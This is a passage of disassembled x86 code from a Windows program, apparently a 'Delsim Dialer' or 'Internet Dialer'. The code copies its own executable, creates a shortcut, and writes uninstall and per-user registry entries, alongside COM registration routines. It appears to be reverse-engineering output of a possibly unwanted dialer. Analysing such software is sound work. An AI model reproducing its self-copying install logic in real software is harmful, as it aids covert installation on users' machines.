		mov	esi, eax


loc_403E84:				; CODE XREF: sub_4039C0+494j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_34]
		call	sub_403920
		mov	eax, [ebp+var_B8]
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	ecx, [ebp+var_B8]
		push	eax
		push	ecx
		lea	ecx, [ebp+var_34]
		call	sub_403920
		mov	edx, offset a_exe ; ".exe"
		test	edx, edx
		jnz	short loc_403EBF
		xor	esi, esi
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EBF:				; CODE XREF: sub_4039C0+4F9j
		push	offset a_exe	; ".exe"
		call	edi ; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	edi		; cchWideChar
		push	offset a_exe	; ".exe"
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	edi, ds:lstrlenA
		mov	esi, eax


loc_403EED:				; CODE XREF: sub_4039C0+4FDj
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_34]
		call	sub_403920
		lea	ecx, [ebp+var_13C]
		call	sub_40A2D0
		lea	ecx, [ebp+var_34]
		mov	esi, eax
		call	sub_40A2D0
		push	eax		; lpString2
		push	esi		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_403FB4
		lea	ecx, [ebp+var_13C]
		call	sub_40A2D0
		push	ebx		; bFailIfExists
		lea	ecx, [ebp+var_34]
		mov	esi, eax
		call	sub_40A2D0
		push	eax		; lpNewFileName
		push	esi		; lpExistingFileName
		call	ds:CopyFileA	; CopyFileA
		test	eax, eax
		jnz	short loc_403F57


loc_403F45:				; CODE XREF: sub_4039C0+45Cj
					; sub_4039C0+471j
		mov	eax, [ebp+lpString]
		inc	eax
		cmp	eax, 0Ah
		mov	[ebp+lpString],	eax
		jl	loc_403D27
		jmp	short loc_403FB4
; ---------------------------------------------------------------------------


loc_403F57:				; CODE XREF: sub_4039C0+583j
		mov	eax, [ebp+var_E4]
		push	eax		; bstrString
		call	ds:SysFreeString
		lea	ecx, [ebp+var_34]
		mov	[ebp+var_E4], ebx
		call	sub_40A2D0
		cmp	eax, ebx
		mov	[ebp+lpMultiByteStr], eax
		jnz	short loc_403F7D
		xor	esi, esi
		jmp	short loc_403FA0
; ---------------------------------------------------------------------------


loc_403F7D:				; CODE XREF: sub_4039C0+5B7j
		push	eax		; lpString
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ecx, [ebp+lpMultiByteStr]
		mov	eax, esp
		push	ebx		; CodePage
		push	esi		; cchWideChar
		push	ecx		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_403FA0:				; CODE XREF: sub_4039C0+5BBj
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_E4]
		call	sub_403920


loc_403FB4:				; CODE XREF: sub_4039C0+55Dj
					; sub_4039C0+595j
		cmp	[ebp+lpString],	9
		jle	short loc_403FE4
		mov	edx, [ebp+var_34]
		push	edx		; bstrString
		call	ds:SysFreeString
		mov	eax, [ebp+var_13C]
		mov	[ebp+var_34], ebx
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	ecx, [ebp+var_13C]
		push	eax
		push	ecx
		lea	ecx, [ebp+var_34]
		call	sub_403920


loc_403FE4:				; CODE XREF: sub_4039C0+5F8j
		push	16h		; lpString
		lea	ecx, [ebp+var_60]
		mov	[ebp+var_60], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_58], ebx
		mov	[ebp+var_54], bl
		mov	[ebp+var_36], bl
		call	sub_40A680
		cmp	al, 1
		jz	short loc_40402C
		push	0Bh		; lpString
		lea	ecx, [ebp+var_60]
		call	sub_40A680
		cmp	al, 1
		jz	short loc_40402C
		mov	edx, off_40F268
		mov	eax, off_40F260
		push	edx		; lpValueName
		push	eax		; lpSubKey
		lea	ecx, [ebp+var_60]
		call	sub_40A600
		cmp	al, 1
		jnz	loc_404144


loc_40402C:				; CODE XREF: sub_4039C0+63Fj
					; sub_4039C0+64Dj
		mov	ecx, offset MultiByteStr ; "\\"
		test	ecx, ecx
		jnz	short loc_404039
		xor	esi, esi
		jmp	short loc_404061
; ---------------------------------------------------------------------------


loc_404039:				; CODE XREF: sub_4039C0+673j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	esi		; cchWideChar
		push	offset MultiByteStr ; "\\"
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_404061:				; CODE XREF: sub_4039C0+677j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_60]
		call	sub_403920
		mov	edx, [ebp+var_B8]
		push	edx		; BSTR
		call	ds:SysStringLen
		push	eax
		mov	eax, [ebp+var_B8]
		push	eax
		lea	ecx, [ebp+var_60]
		call	sub_403920
		mov	ecx, offset a_lnk ; ".lnk"
		test	ecx, ecx
		jnz	short loc_40409C
		xor	esi, esi
		jmp	short loc_4040C4
; ---------------------------------------------------------------------------


loc_40409C:				; CODE XREF: sub_4039C0+6D6j
		push	offset a_lnk	; ".lnk"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	esi		; cchWideChar
		push	offset a_lnk	; ".lnk"
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_4040C4:				; CODE XREF: sub_4039C0+6DAj
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_60]
		call	sub_403920
		push	offset aInternetDialer ; "Internet Dialer"
		lea	ecx, [ebp+var_34]
		call	sub_40A2D0
		push	eax
		lea	ecx, [ebp+var_60]
		call	sub_40ACD0
		mov	edx, [ebp+var_16C]
		push	edx		; bstrString
		call	ds:SysFreeString
		lea	ecx, [ebp+var_60]
		mov	[ebp+var_16C], ebx
		call	sub_40A2D0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_404110
		xor	esi, esi
		jmp	short loc_404130
; ---------------------------------------------------------------------------


loc_404110:				; CODE XREF: sub_4039C0+74Aj
		push	esi		; lpString
		call	edi ; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	edi		; cchWideChar
		push	esi		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_404130:				; CODE XREF: sub_4039C0+74Ej
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+var_16C]
		call	sub_403920


loc_404144:				; CODE XREF: sub_4039C0+666j
		cmp	ds:byte_40D71A,	bl
		jz	short loc_404172
		lea	ecx, [ebp+var_E4]
		call	sub_40A2D0
		lea	ecx, [ebp+var_16C]
		mov	esi, eax
		call	sub_40A2D0
		push	eax		; int
		mov	eax, [ebp+hInstance]
		push	esi		; lpData
		push	eax		; hInstance
		call	sub_404320
		add	esp, 0Ch


loc_404172:				; CODE XREF: sub_4039C0+78Aj
		lea	ecx, [ebp+dwDisposition]
		lea	edx, [ebp+hKey]
		push	ecx		; lpdwDisposition
		push	edx		; phkResult
		push	ebx		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		push	offset SubKey	; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h	; hKey
		mov	[ebp+hKey], ebx
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_404248
		mov	edi, offset Data ; "Delsim Dialer"
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, [ebp+hKey]
		mov	esi, ds:RegSetValueExA
		not	ecx
		dec	ecx
		push	ecx		; cbData
		push	offset Data	; "Delsim Dialer"
		push	1		; dwType
		push	ebx		; Reserved
		push	offset aDisplayname ; "DisplayName"
		push	eax		; hKey
		call	esi ; RegSetValueExA
		mov	ecx, offset aU	; " -u"
		test	ecx, ecx
		jnz	short loc_4041D5
		xor	edi, edi
		jmp	short loc_404201
; ---------------------------------------------------------------------------


loc_4041D5:				; CODE XREF: sub_4039C0+80Fj
		push	offset aU	; " -u"
		call	ds:lstrlenA	; lstrlenA
		mov	edi, eax
		inc	edi
		lea	eax, [edi+edi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	edi		; cchWideChar
		push	offset aU	; " -u"
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	edi, eax


loc_404201:				; CODE XREF: sub_4039C0+813j
		push	edi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	edi
		lea	ecx, [ebp+var_E4]
		call	sub_403920
		lea	ecx, [ebp+var_E4]
		call	sub_40A2D0
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx		; cbData
		push	edx		; lpData
		mov	edx, [ebp+hKey]
		push	1		; dwType
		push	ebx		; Reserved
		push	offset aUninstallstrin ; "UninstallString"
		push	edx		; hKey
		call	esi ; RegSetValueExA
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_404248:				; CODE XREF: sub_4039C0+7DBj
		push	ebx		; dwItem2
		push	ebx		; dwItem1
		push	ebx		; uFlags
		push	7FFFFFFFh	; wEventId
		call	ds:SHChangeNotify	; SHChangeNotify
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_404269
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_404269:				; CODE XREF: sub_4039C0+89Bj
		mov	ecx, [ebp+var_60]
		mov	esi, ds:SysFreeString
		push	ecx		; bstrString
		call	esi ; SysFreeString
		mov	eax, [ebp+var_30]
		cmp	eax, ebx
		jz	short loc_404288
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+var_30], ebx


loc_404288:				; CODE XREF: sub_4039C0+8BAj
		mov	edx, [ebp+var_34]
		push	edx		; bstrString
		call	esi ; SysFreeString
		lea	ecx, [ebp+var_8C]
		call	sub_4042F0
		lea	ecx, [ebp+var_B8]
		call	sub_4042F0
		lea	ecx, [ebp+var_13C]
		call	sub_4042F0
		lea	ecx, [ebp+var_198]
		call	sub_4042F0
		lea	ecx, [ebp+bstrString]
		call	sub_4042F0
		lea	ecx, [ebp+var_16C]
		call	sub_4042F0
		lea	ecx, [ebp+var_E4]
		call	sub_4042F0
		lea	esp, [ebp-3A4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4039C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4042F0	proc near		; CODE XREF: sub_4039C0+8D4p
					; sub_4039C0+8DFp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40430A
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	dword ptr [esi+4], 0


loc_40430A:				; CODE XREF: sub_4042F0+8j
		mov	eax, [esi]
		push	eax		; bstrString
		call	ds:SysFreeString
		pop	esi
		retn
sub_4042F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404320(HINSTANCE hInstance,BYTE *lpData,int)

sub_404320	proc near		; CODE XREF: sub_4039C0+7AAp

psz		= byte ptr -240h
dwDisposition	= dword	ptr -40h
bstrString	= dword	ptr -3Ch
lpMem		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
hKey		= dword	ptr -8
lpString	= dword	ptr -4
hInstance	= dword	ptr  8
lpData		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		mov	ecx, [ebp+hInstance]
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+psz]
		push	200h		; cchBufferMax
		push	eax		; lpBuffer
		xor	ebx, ebx
		push	71h		; uID
		push	ecx		; hInstance
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], bl
		mov	[ebp+var_12], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		mov	edi, ds:lstrlenA
		cmp	esi, ebx
		jz	short loc_4043C6
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_404381
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_4043C9
; ---------------------------------------------------------------------------


loc_404381:				; CODE XREF: sub_404320+53j
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	edx, [ebp+psz]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, ebx
		xor	ebx, ebx
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_4043C9
; ---------------------------------------------------------------------------


loc_4043C6:				; CODE XREF: sub_404320+49j
		mov	[ebp+bstrString], ebx


loc_4043C9:				; CODE XREF: sub_404320+5Fj
					; sub_404320+A4j
		mov	eax, offset MultiByteStr ; "\\"
		test	eax, eax
		jnz	short loc_4043D7
		mov	[ebp+lpString],	ebx
		jmp	short loc_40440D
; ---------------------------------------------------------------------------


loc_4043D7:				; CODE XREF: sub_404320+B0j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset MultiByteStr ; "\\"
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+lpString],	ebx
		xor	ebx, ebx


loc_40440D:				; CODE XREF: sub_404320+B5j
		mov	ecx, [ebp+lpString]
		push	ecx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edi, eax
		mov	eax, [ebp+bstrString]
		cmp	eax, ebx
		mov	[ebp+var_10], edi
		jnz	short loc_404427
		xor	esi, esi
		jmp	short loc_404430
; ---------------------------------------------------------------------------


loc_404427:				; CODE XREF: sub_404320+101j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_404430:				; CODE XREF: sub_404320+105j
		lea	eax, [esi+edi]
		push	eax		; ui
		push	ebx		; strIn
		mov	[ebp+var_C], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40448B
		lea	eax, [esi+esi]
		mov	esi, [ebp+bstrString]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_C]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[ebp+bstrString], ebx


loc_40448B:				; CODE XREF: sub_404320+122j
		mov	edx, [ebp+hInstance]
		push	7Ah		; bstrString
		push	edx		; hInstance
		lea	ecx, [ebp+bstrString]
		call	sub_40A840
		lea	eax, [ebp+dwDisposition]
		lea	ecx, [ebp+hKey]
		push	eax		; lpdwDisposition
		push	ecx		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_404512
		mov	edx, [ebp+lpData]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		mov	esi, ds:RegSetValueExA
		repne scasb
		not	ecx
		dec	ecx
		push	ecx		; cbData
		push	edx		; lpData
		mov	edx, [ebp+hKey]
		push	1		; dwType
		push	eax		; Reserved
		push	offset ValueName ; "uninstExe"
		push	edx		; hKey
		call	esi ; RegSetValueExA
		mov	edx, [ebp+arg_8]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx		; cbData
		push	edx		; lpData
		push	1		; dwType
		push	eax		; Reserved
		mov	eax, [ebp+hKey]
		push	offset aUninstshortcut ; "uninstShortcut"
		push	eax		; hKey
		call	esi ; RegSetValueExA
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_404512:				; CODE XREF: sub_404320+1A4j
		mov	eax, [ebp+lpMem]
		test	eax, eax
		jz	short loc_404529
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], 0


loc_404529:				; CODE XREF: sub_404320+1F7j
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-24Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404320	endp


; =============== S U B	R O U T	I N E =======================================



sub_404540	proc near		; CODE XREF: sub_4010C0+190p
					; sub_4010C0+26Cp
		push	esi
		mov	esi, ecx
		push	28h		; dwBytes
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi+8], 0Ah
		call	sub_40AE50
		add	esp, 4
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		retn
sub_404540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_404570(LPVOID lpMem,char)

sub_404570	proc near		; CODE XREF: sub_4010C0+461p

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	ecx, [esi+20h]
		mov	dword ptr [esi], offset	off_40D698
		call	sub_408C20
		test	[esp+4+arg_0], 1
		jz	short loc_404591
		push	esi		; lpMem
		call	sub_40AF60
		add	esp, 4


loc_404591:				; CODE XREF: sub_404570+16j
		mov	eax, esi
		pop	esi
		retn	4
sub_404570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4045A0	proc near		; CODE XREF: sub_4010C0+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_4045B6
		pop	esi
		mov	eax, 80070057h
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_4045A0+Aj
		mov	eax, [esp+8+arg_4]
		lea	ecx, [esi+1Ch]
		mov	[esi+10h], eax
		mov	eax, [esp+8+arg_8]
		push	edi
		mov	edi, ds:InitializeCriticalSection
		push	ecx		; lpCriticalSection
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		mov	[esi+4], eax
		mov	[esi+14h], ebx
		mov	[esi+18h], ebx
		call	edi ; InitializeCriticalSection
		lea	edx, [esi+34h]
		push	edx		; lpCriticalSection
		call	edi ; InitializeCriticalSection
		lea	eax, [esi+4Ch]
		push	eax		; lpCriticalSection
		call	edi ; InitializeCriticalSection
		mov	edi, [esi+10h]
		mov	[esi+68h], ebx
		cmp	edi, ebx
		mov	byte ptr [esi+6Ch], 1
		mov	[esi+74h], ebx
		mov	[esi+7Ch], ebx
		mov	[esi+78h], ebx
		mov	[esi+80h], ebx
		jz	short loc_404620
		cmp	[edi], ebx
		jz	short loc_404620


loc_40460A:				; CODE XREF: sub_4045A0+7Ej
		push	1
		call	dword ptr [edi+20h]
		cmp	dword ptr [esi], 64h
		jnz	short loc_404619
		add	edi, 1Ch
		jmp	short loc_40461C
; ---------------------------------------------------------------------------


loc_404619:				; CODE XREF: sub_4045A0+72j
		add	edi, 24h


loc_40461C:				; CODE XREF: sub_4045A0+77j
		cmp	[edi], ebx
		jnz	short loc_40460A


loc_404620:				; CODE XREF: sub_4045A0+64j
					; sub_4045A0+68j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	0Ch
sub_4045A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_404630(int,DWORD dwClsContext,LPUNKNOWN flags)

sub_404630	proc near		; CODE XREF: sub_4010C0+352p

arg_0		= dword	ptr  4
dwClsContext	= dword	ptr  8
flags		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		test	ecx, ecx
		jnz	short loc_404640
		mov	eax, 80070057h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_404640:				; CODE XREF: sub_404630+6j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [ecx+10h]
		xor	eax, eax
		push	edi
		cmp	dword ptr [esi], 0
		jz	short loc_4046BD
		mov	ebp, [esp+10h+flags]
		lea	ebx, [esi+14h]


loc_404655:				; CODE XREF: sub_404630+8Bj
		test	eax, eax
		jnz	short loc_4046BD
		mov	[esp+10h+flags], eax
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_4046A5
		mov	edx, [esi+0Ch]
		lea	ecx, [esp+10h+flags]
		push	ecx
		push	offset dword_40D830
		push	edx
		call	eax
		mov	edi, eax
		test	edi, edi
		jl	short loc_404691
		mov	eax, [esp+10h+dwClsContext]
		mov	ecx, [esp+10h+flags]
		mov	edx, [esi]
		push	ebx		; lpdwRegister
		push	ebp		; flags
		push	eax		; dwClsContext
		push	ecx		; pUnk
		push	edx		; rclsid
		call	ds:CoRegisterClassObject
		mov	edi, eax


loc_404691:				; CODE XREF: sub_404630+48j
		mov	eax, [esp+10h+flags]
		test	eax, eax
		jz	short loc_40469F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40469F:				; CODE XREF: sub_404630+67j
		mov	ecx, [esp+10h+arg_0]
		mov	eax, edi


loc_4046A5:				; CODE XREF: sub_404630+32j
		cmp	dword ptr [ecx], 64h
		jnz	short loc_4046B2
		add	esi, 1Ch
		add	ebx, 1Ch
		jmp	short loc_4046B8
; ---------------------------------------------------------------------------


loc_4046B2:				; CODE XREF: sub_404630+78j
		add	esi, 24h
		add	ebx, 24h


loc_4046B8:				; CODE XREF: sub_404630+80j
		cmp	dword ptr [esi], 0
		jnz	short loc_404655


loc_4046BD:				; CODE XREF: sub_404630+1Cj
					; sub_404630+27j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_404630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4046D0	proc near		; CODE XREF: sub_4010C0+46Bp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_4046E2
		mov	eax, 80070057h
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_4046E2:				; CODE XREF: sub_4046D0+7j
		push	ebx
		push	esi
		mov	esi, [edi+10h]
		xor	eax, eax
		cmp	dword ptr [esi], 0
		jz	short loc_404710
		mov	ebx, ds:CoRevokeClassObject


loc_4046F4:				; CODE XREF: sub_4046D0+3Ej
		test	eax, eax
		jnz	short loc_404710
		mov	eax, [esi+14h]
		push	eax		; dwRegister
		call	ebx ; CoRevokeClassObject
		cmp	dword ptr [edi], 64h
		jnz	short loc_404708
		add	esi, 1Ch
		jmp	short loc_40470B
; ---------------------------------------------------------------------------


loc_404708:				; CODE XREF: sub_4046D0+31j
		add	esi, 24h


loc_40470B:				; CODE XREF: sub_4046D0+36j
		cmp	dword ptr [esi], 0
		jnz	short loc_4046F4


loc_404710:				; CODE XREF: sub_4046D0+1Cj
					; sub_4046D0+26j
		pop	esi
		pop	ebx
		pop	edi
		retn	4
sub_4046D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404720	proc near		; CODE XREF: sub_4010C0+480p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_404732
		mov	eax, 80070057h
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_404732:				; CODE XREF: sub_404720+7j
		push	ebp
		push	esi
		mov	esi, [edi+10h]
		test	esi, esi
		jz	short loc_40476B
		cmp	dword ptr [esi], 0
		jz	short loc_40476B


loc_404740:				; CODE XREF: sub_404720+49j
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_40474D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40474D:				; CODE XREF: sub_404720+25j
		push	0
		mov	dword ptr [esi+10h], 0
		call	dword ptr [esi+20h]
		cmp	dword ptr [edi], 64h
		jnz	short loc_404763
		add	esi, 1Ch
		jmp	short loc_404766
; ---------------------------------------------------------------------------


loc_404763:				; CODE XREF: sub_404720+3Cj
		add	esi, 24h


loc_404766:				; CODE XREF: sub_404720+41j
		cmp	dword ptr [esi], 0
		jnz	short loc_404740


loc_40476B:				; CODE XREF: sub_404720+19j
					; sub_404720+1Ej
		mov	esi, ds:DeleteCriticalSection
		lea	edx, [edi+1Ch]
		push	edx		; lpCriticalSection
		call	esi ; DeleteCriticalSection
		lea	eax, [edi+34h]
		push	eax		; lpCriticalSection
		call	esi ; DeleteCriticalSection
		lea	ecx, [edi+4Ch]
		push	ecx		; lpCriticalSection
		call	esi ; DeleteCriticalSection
		mov	esi, [edi+80h]
		test	esi, esi
		jz	short loc_4047A5


loc_40478D:				; CODE XREF: sub_404720+83j
		mov	edx, [esi+4]
		push	edx
		call	dword ptr [esi]
		mov	ebp, [esi+8]
		push	esi		; lpMem
		call	sub_40AF60
		add	esp, 4
		mov	esi, ebp
		test	ebp, ebp
		jnz	short loc_40478D


loc_4047A5:				; CODE XREF: sub_404720+6Bj
		mov	eax, [edi+18h]
		test	eax, eax
		jz	short loc_4047D9
		mov	al, [edi+6Ch]
		test	al, al
		jz	short loc_4047D9
		mov	eax, [edi+78h]
		mov	ebp, ds:HeapDestroy
		test	eax, eax
		jz	short loc_4047D3
		xor	esi, esi


loc_4047C2:				; CODE XREF: sub_404720+B1j
		mov	eax, [edi+78h]
		mov	ecx, [eax+esi*4]
		push	ecx		; hHeap
		call	ebp ; HeapDestroy
		mov	eax, [edi+74h]
		inc	esi
		cmp	esi, eax
		jbe	short loc_4047C2


loc_4047D3:				; CODE XREF: sub_404720+9Ej
		mov	edx, [edi+18h]
		push	edx		; hHeap
		call	ebp ; HeapDestroy


loc_4047D9:				; CODE XREF: sub_404720+8Aj
					; sub_404720+91j
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	edi
		retn	4
sub_404720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4047F0	proc near		; DATA XREF: .rdata:0040D69Co
		mov	eax, offset sub_404ED0
		retn
sub_4047F0	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404810	proc near		; CODE XREF: sub_4010C0+337p

lpString	= dword	ptr -220h
pptlib		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
szHelpDir	= word ptr -208h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		sub	esp, 220h
		test	eax, eax
		jnz	short loc_40482C
		mov	eax, 80070057h
		add	esp, 220h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40482C:				; CODE XREF: sub_404810+Cj
		push	ebx
		push	ebp
		mov	ebp, [eax+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, [ebp+0]
		test	edi, edi
		jz	loc_404983


loc_404840:				; CODE XREF: sub_404810+140j
		mov	esi, [esp+230h+arg_8]
		test	esi, esi
		jnz	short loc_40485E
		mov	eax, [ebp+18h]
		test	eax, eax
		jz	short loc_40486D
		call	eax
		test	eax, eax
		jnz	loc_404935
		jmp	short loc_40486D
